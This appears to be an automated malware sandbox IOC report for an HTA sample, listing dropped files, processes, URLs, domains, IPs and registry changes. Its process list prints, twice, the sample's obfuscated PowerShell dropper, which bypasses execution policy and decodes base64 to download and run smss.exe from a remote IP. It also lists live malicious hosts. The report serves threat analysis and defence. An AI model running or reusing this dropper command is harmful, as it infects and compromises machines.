IOC Report
givemebestthingsforgivemebest.hta

loading gifFilesProcessesURLsDomainsIPsRegistryMemdumps105010010Label

Files

File Path
Type
Category
Malicious
Download
givemebestthingsforgivemebest.hta
HTML document, ASCII text, with very long lines (13756), with CRLF line terminators
initial sample
 malicious
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\smss[1].exe
PE32 executable (GUI) Intel 80386, for MS Windows
dropped
 malicious
C:\Users\user\AppData\Local\Temp\y35p2qjs\y35p2qjs.cmdline
Unicode text, UTF-8 (with BOM) text, with very long lines (368), with no line terminators
dropped
 malicious
C:\Users\user\AppData\Local\Temp\y35p2qjs\y35p2qjs.dll
PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
dropped
 malicious
C:\Users\user\AppData\Roaming\smss.exe
PE32 executable (GUI) Intel 80386, for MS Windows
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
data
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\280815\16822ced21b246d7b4efa95e473db719_1 (copy)
JSON data
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\280815\16822ced21b246d7b4efa95e473db719_1.~tmp
JSON data
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338387\255f161e87ba4d21a6493ad0a9d4d120_1 (copy)
JSON data
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338387\255f161e87ba4d21a6493ad0a9d4d120_1.~tmp
JSON data
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338387\8569eaf60e24463091f9a00ca9cafffc_1 (copy)
JSON data
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338387\8569eaf60e24463091f9a00ca9cafffc_1.~tmp
JSON data
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338387\db49accb096a4f7abf1a6ef00d7f02f6_1 (copy)
JSON data
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338387\db49accb096a4f7abf1a6ef00d7f02f6_1.~tmp
JSON data
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\88000045\50477342285d4d88b6d64a863cefd7e7_1 (copy)
JSON data
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\88000045\50477342285d4d88b6d64a863cefd7e7_1.~tmp
JSON data
dropped
C:\Users\user\AppData\Local\Temp\79T-I8k4c
SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 9
dropped
C:\Users\user\AppData\Local\Temp\RES33B5.tmp
Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48e, 9 symbols, created Wed Mar 26 16:55:25 2025, 1st section name ".debug$S"
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5bztedkq.qqc.psm1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pqumonhs.owr.ps1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tps04v4y.emq.psm1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yieu0o5g.alu.ps1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\aut472D.tmp
data
dropped
C:\Users\user\AppData\Local\Temp\vaccinators
data
dropped
C:\Users\user\AppData\Local\Temp\y35p2qjs\CSC581F3FC65DCD49069962404E1D830F5.TMP
MSVC .res
dropped
C:\Users\user\AppData\Local\Temp\y35p2qjs\y35p2qjs.0.cs
C++ source, Unicode text, UTF-8 (with BOM) text, with very long lines (361)
dropped
C:\Users\user\AppData\Local\Temp\y35p2qjs\y35p2qjs.out
Unicode text, UTF-8 (with BOM) text, with very long lines (449), with CRLF, CR line terminators
modified
There are 17 hidden files, click here to show them.

Processes

Path
Cmdline
Malicious
C:\Windows\SysWOW64\mshta.exe
mshta.exe "C:\Users\user\Desktop\givemebestthingsforgivemebest.hta"
 malicious
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" "/c poWeRSHeLL.exe -Ex byPaSS -nop -W 1 -c dEvICecRedENtIaLdEPLoYmeNt.Exe ; iex($(iEx('[sysTEM.teXt.eNCoDInG]'+[ChaR]58+[chaR]58+'UtF8.geTsTrInG([syStem.ConvErt]'+[cHar]0x3a+[ChAR]0X3a+'fROmBaSe64sTRinG('+[chAr]34+'JHggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhRGQtVFlQZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNQkVyRGVmaW5pVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQcm5YLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmd21FR1hFYW9CdixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRHgsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhcFRLLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0Q21MZyk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAicFh0IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtZVNQQUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBDeiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR4OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTcyLjI0NS4xMjMuMzIvNzAvc21zcy5leGUiLCIkRU52OkFQUERBVEFcc21zcy5leGUiLDAsMCk7U1RhUnQtc0xFRVAoMyk7aW52T2tFLWl0ZU0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFblY6QVBQREFUQVxzbXNzLmV4ZSI='+[ChaR]34+'))')))"
malicious
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
poWeRSHeLL.exe -Ex byPaSS -nop -W 1 -c dEvICecRedENtIaLdEPLoYmeNt.Exe ; iex($(iEx('[sysTEM.teXt.eNCoDInG]'+[ChaR]58+[chaR]58+'UtF8.geTsTrInG([syStem.ConvErt]'+[cHar]0x3a+[ChAR]0X3a+'fROmBaSe64sTRinG('+[chAr]34+'JHggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhRGQtVFlQZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNQkVyRGVmaW5pVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQcm5YLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmd21FR1hFYW9CdixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRHgsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhcFRLLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0Q21MZyk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAicFh0IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtZVNQQUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBDeiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR4OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTcyLjI0NS4xMjMuMzIvNzAvc21zcy5leGUiLCIkRU52OkFQUERBVEFcc21zcy5leGUiLDAsMCk7U1RhUnQtc0xFRVAoMyk7aW52T2tFLWl0ZU0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFblY6QVBQREFUQVxzbXNzLmV4ZSI='+[ChaR]34+'))')))"
malicious
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\y35p2qjs\y35p2qjs.cmdline"
 malicious
C:\Users\user\AppData\Roaming\smss.exe
"C:\Users\user\AppData\Roaming\smss.exe"
malicious
C:\Windows\SysWOW64\svchost.exe
"C:\Users\user\AppData\Roaming\smss.exe"
malicious
C:\Program Files (x86)\tbzciNlUnTssWUCBrcdfRNsczFkueNnjnRaMnxhByRwbUvCzkHQ\7HLXbJFcuuGutQgrmx.exe
"C:\Program Files (x86)\tbzciNlUnTssWUCBrcdfRNsczFkueNnjnRaMnxhByRwbUvCzkHQ\vfGnBwOXnux.exe"
malicious
C:\Windows\SysWOW64\AtBroker.exe
"C:\Windows\SysWOW64\AtBroker.exe"
 malicious
C:\Program Files (x86)\tbzciNlUnTssWUCBrcdfRNsczFkueNnjnRaMnxhByRwbUvCzkHQ\7HLXbJFcuuGutQgrmx.exe
"C:\Program Files (x86)\tbzciNlUnTssWUCBrcdfRNsczFkueNnjnRaMnxhByRwbUvCzkHQ\nJgyF7kA.exe"
malicious
C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\Firefox.exe"
 malicious
C:\Windows\System32\conhost.exe
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES33B5.tmp" "c:\Users\user\AppData\Local\Temp\y35p2qjs\CSC581F3FC65DCD49069962404E1D830F5.TMP"
C:\Windows\System32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
There are 3 hidden processes, click here to show them.

URLs

Name
IP
Malicious
http://www.855696a.xyz/q86a/
45.119.52.125
 malicious
http://172.245.123.32/70/smss.exe
172.245.123.32
 malicious
http://www.soportemx-findmy.click/ma0g/
198.58.118.167
 malicious
http://www.worrr37.yachts/1imc/
149.104.1.185
 malicious
http://www.worrr37.yachts/1imc/?DjqdfNk=GkZ+7lZN5ZbT6rZBuZ+pskfJL+6uT56R2eAXidPe90Y9rybDHdv8GRqVb6FfMfkpXSVDgNv2zaXT/X0CpEMHhd+DXQfhkENwgiz5+jrub82ItCLB/EMlgTjPlwiCI2nY+w==&fNeX=nNpDjLP
149.104.1.185
 malicious
http://172.245.123.32/70/smss.exewC:
unknown
 malicious
http://www.blackhat.chat/04r3/
52.223.13.41
 malicious
http://172.245.123.32/70/smss.exe0
unknown
 malicious
http://www.soportemx-findmy.click/ma0g/?DjqdfNk=H2S90RmziCMvLCuL5yTkJF203ndQbU/T+UjWuF5QkK5TSoHa4lhKP7xjBIvwYHsxlglzK0GWG6GIcHietPpqi+1gs/5BxCzY4CtYzWb39E9UovJPnlwKJarvBRzz8eyTcw==&fNeX=nNpDjLP
198.58.118.167
 malicious
http://www.thykingdomwear.store/d4kl/?DjqdfNk=6y/7tod/VF/KHUQqfM/wfVXibkdmZeeslXhDnWhvAY/z/yk3pdRRAQekYBjFWPUzPUKr4nIOcHvctiu99XDhEDhTzejKR0AKl6+T/G5w3q1KIwX/LqFItooehhCIycehmA==&fNeX=nNpDjLP
75.2.103.23
 malicious
http://www.855696a.xyz/q86a/?DjqdfNk=1RS/DLESjC/mKKX9C/bcN2l/5Bt+ZmCCo7MGFq+OZJ2Pg2HsdXdlDjVOv2U28y6Xqr87siUnw8FG4MQCr+RpXrpLY0pe8E1oH/6FSjr22gQjBdPmae5AdSMbv8VH/OtMXA==&fNeX=nNpDjLP
45.119.52.125
 malicious
http://172.245.123.32/70/smss.exe9
unknown
 malicious
http://www.vczuahand.xyz/lvz4/
76.223.54.146
 malicious
http://www.blackhat.chat/04r3/?DjqdfNk=n6ptdLvBCapBX+1eOVrY57v3fry5rNe0wfWRjljnFiAjsKOl5dK99Lywx+Nqo77d2RcdyHveJO2lBX31lOnFlf4SmZDL+ssCij03tKgdKaReZJPMIs0OS1RV9JnQRCS0ZQ==&fNeX=nNpDjLP
52.223.13.41
 malicious
http://172.245.123.32/70/smss.ex
unknown
http://nuget.org/NuGet.exe
unknown
https://aka.ms/winsvr-2022-pshelp
unknown
https://duckduckgo.com/ac/?q=
unknown
http://pesterbdd.com/images/Pester.png
unknown
http://schemas.xmlsoap.org/soap/encoding/
unknown
http://www.apache.org/licenses/LICENSE-2.0.html
unknown
https://contoso.com/License
unknown
https://contoso.com/Icon
unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
unknown
https://ac.ecosia.org?q=
unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
unknown
https://github.com/Pester/Pester
unknown
https://www.google.com/images/branding/product/ico/googleg_alldp.ico
unknown
https://www.ecosia.org/newtab/v20
unknown
http://www.855696a.xyz
unknown
https://aka.ms/pscore6lB
unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
unknown
http://schemas.xmlsoap.org/wsdl/
unknown
https://contoso.com/
unknown
https://nuget.org/nuget.exe
unknown
https://duckduckgo.com/chrome_newtabv209h
unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
unknown
https://gemini.google.com/app?q=
unknown
There are 29 hidden URLs, click here to show them.

Domains

Name
IP
Malicious
ns195.l4y.cn
45.119.52.125
 malicious
www.vczuahand.xyz
76.223.54.146
 malicious
www.soportemx-findmy.click
198.58.118.167
 malicious
www.855696a.xyz
unknown
 malicious
www.worrr37.yachts
149.104.1.185
www.blackhat.chat
52.223.13.41
www.thykingdomwear.store
75.2.103.23

IPs

IP
Domain
Country
Malicious
76.223.54.146
www.vczuahand.xyz
United States
malicious
45.119.52.125
ns195.l4y.cn
China
malicious
172.245.123.32
unknown
United States
malicious
198.58.118.167
www.soportemx-findmy.click
United States
malicious
75.2.103.23
www.thykingdomwear.store
United States
149.104.1.185
www.worrr37.yachts
United States
52.223.13.41
www.blackhat.chat
United States

Registry

Path
Value
Malicious
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Common\TaskWatchdog
FlushPlacementsEventCacheTask
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Common\TaskWatchdog
ContentDeliveryManager.Background.SubscribedContent-338387.UpdatePlacementTask
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Common\TaskWatchdog
ContentDeliveryManager.Background.SubscribedContent-280815.UpdatePlacementTask
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Common\TaskWatchdog
ContentDeliveryManager.Background.SubscribedContent-88000045.UpdatePlacementTask
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\ContentManagementSDK\Creatives\338387\Batches\1743001168\ImpressionRecords
532871768
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\ContentManagementSDK\Creatives\338387\Batches\1743001168\ImpressionRecords
530411528
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\ContentManagementSDK\Creatives\338387\Batches\1743001168\ImpressionRecords
530447912
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\ContentManagementSDK\Creatives\88000045\Batches\1743001200\ImpressionRecords
128000000001627409
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\ContentManagementSDK\Creatives\280815\Batches\1743001200\ImpressionRecords
128000000001627409
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\ContentManagementSDK\Creatives\280815\Batches\1743001200
LastSelectionEmpty
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\ContentManagementSDK\Creatives\88000045\Batches\1743001200
LastSelectionEmpty
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\ContentManagementSDK\Creatives\338387\Batches\1743001168
LastSelectionEmpty
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\SubscribedContent\280815\1743001200`128000000001627409`0
Availability
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\SubscribedContent\280815\1743001200`128000000001627409`0
TimeStamp
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\SubscribedContent\280815\1743001200`128000000001627409`0\Actions
//item[0]/property[noOp]
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\SubscribedContent\88000045\1743001200`128000000001627409`0
Availability
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\SubscribedContent\88000045\1743001200`128000000001627409`0
TimeStamp
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\SubscribedContent\88000045\1743001200`128000000001627409`0\Actions
//item[0]/property[noOp]
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\SubscribedContent\338387\1743001168`530447912`2
Availability
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\SubscribedContent\338387\1743001168`530447912`2
TimeStamp
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\SubscribedContent\338387\1743001168`530447912`2\Actions
//property[onRender]
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\SubscribedContent\338387\1743001168`530411528`1
Availability
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\SubscribedContent\338387\1743001168`530411528`1
TimeStamp
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\SubscribedContent\338387\1743001168`530411528`1\Actions
//property[onRender]
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\SubscribedContent\338387\1743001168`532871768`0
Availability
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\SubscribedContent\338387\1743001168`532871768`0
TimeStamp
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\SubscribedContent\338387\1743001168`532871768`0\Actions
//property[onRender]
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Common
TaskExecutionCountSinceLastReset
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Common
TaskExecutionCountSinceLastReset
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Common
TaskExecutionCountSinceLastReset
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Common
TaskExecutionCountSinceLastReset
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Placements\SubscribedContent-338387
RetryUpdateRenderTriggers
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Placements\SubscribedContent-338387
RetryUpdateRenderTriggers
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Placements\SubscribedContent-280815
RetryUpdateRenderTriggers
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Placements\SubscribedContent-280815
RetryUpdateRenderTriggers
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Placements\SubscribedContent-88000045
RetryUpdateRenderTriggers
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Placements\SubscribedContent-88000045
RetryUpdateRenderTriggers
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Placements
SelectedPlacementIds
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Placements
SelectedPlacementIds
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Placements
SelectedPlacementIds
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\ContentManagementSDK\Creatives\280815\Batches\1743001200
BatchState
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Placements
SelectedPlacementIds
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\ContentManagementSDK\Creatives\88000045\Batches\1743001200
BatchState
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Placements
SelectedPlacementIds
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\ContentManagementSDK\Creatives\338387\Batches\1743001168
BatchState
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\ContentManagementSDK\Creatives\280815\Batches\1741353314\ImpressionRecords
128000000001627409
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\ContentManagementSDK\Creatives\280815\Batches\1741353314
BatchState
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\SubscribedContent\280815
PreviousContentRotationTime
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager\Subscriptions\280815
ContentId
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager\Subscriptions\280815
ShortContentId
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager\Subscriptions\280815
LastUpdated
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\ContentManagementSDK\Creatives\338387\Batches\1741353314\ImpressionRecords
531098720
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Placements\SubscribedContent-280815
SupportedRenderTriggers
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager\Health\Placement-SubscribedContent-280815
NULL
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Placements
RenderedCreativeIds
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\ContentManagementSDK\Creatives\280815\Batches\1743001200\ImpressionRecords
128000000001627409
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Placements\SubscribedContent-280815
SupportedRenderTriggers
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Placements
LastRenderedTimes
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\ContentManagementSDK\Creatives\88000045\Batches\1741353348\ImpressionRecords
128000000001627409
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\ContentManagementSDK\Creatives\88000045\Batches\1741353348
BatchState
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\SubscribedContent\88000045
PreviousContentRotationTime
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager\Subscriptions\88000045
ContentId
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager\Subscriptions\88000045
ShortContentId
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager\Subscriptions\88000045
LastUpdated
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Placements
NextRotationTimes
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager\Health\Placement-SubscribedContent-280815
NULL
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Placements\SubscribedContent-280815
RetryUpdateRenderTriggers
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Placements\SubscribedContent-280815
ConsecutiveRenderFailureCount
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager\Health\Placement-SubscribedContent-280815
HealthEvaluation
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Placements
SelectedPlacementIds
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Placements\SubscribedContent-88000045
SupportedRenderTriggers
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager\Health\Placement-SubscribedContent-88000045
NULL
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Placements
RenderedCreativeIds
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Placements
SelectedPlacementIds
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\ContentManagementSDK\Creatives\88000045\Batches\1743001200\ImpressionRecords
128000000001627409
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Placements
SelectedPlacementIds
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Placements\SubscribedContent-88000045
SupportedRenderTriggers
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Placements
LastRenderedTimes
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Placements
NextRotationTimes
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager\Health\Placement-SubscribedContent-88000045
NULL
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\ContentManagementSDK\Creatives\338387\Batches\1741353314\ImpressionRecords
530447912
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Placements\SubscribedContent-88000045
RetryUpdateRenderTriggers
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Placements\SubscribedContent-88000045
ConsecutiveRenderFailureCount
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\ContentManagementSDK\Creatives\338387\Batches\1741353314\ImpressionRecords
532585470
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\ContentManagementSDK\Creatives\338387\Batches\1741353314
BatchState
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\SubscribedContent\338387
PreviousContentRotationTime
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager\Subscriptions\338387
ContentId
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager\Subscriptions\338387
ShortContentId
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager\Subscriptions\338387
UpdateDrivenByExpiration
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager\Subscriptions\338387
LastUpdated
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Placements\SubscribedContent-338387
SupportedRenderTriggers
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager\Health\Placement-SubscribedContent-338387
NULL
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\Placements
RenderedCreativeIds
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\ContentManagementSDK\Creatives\338387\Batches\1743001168\ImpressionRecords
530447912
\REGISTRY\A\{5b781b84-646f-a06f-fc11-03482346e349}\LocalState\SubscribedContent\338387
PreviousContentRotationTime
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager\Subscriptions\338387
ContentId
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager\Subscriptions\338387
ShortContentId
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager\Subscriptions\338387
UpdateDrivenByExpiration
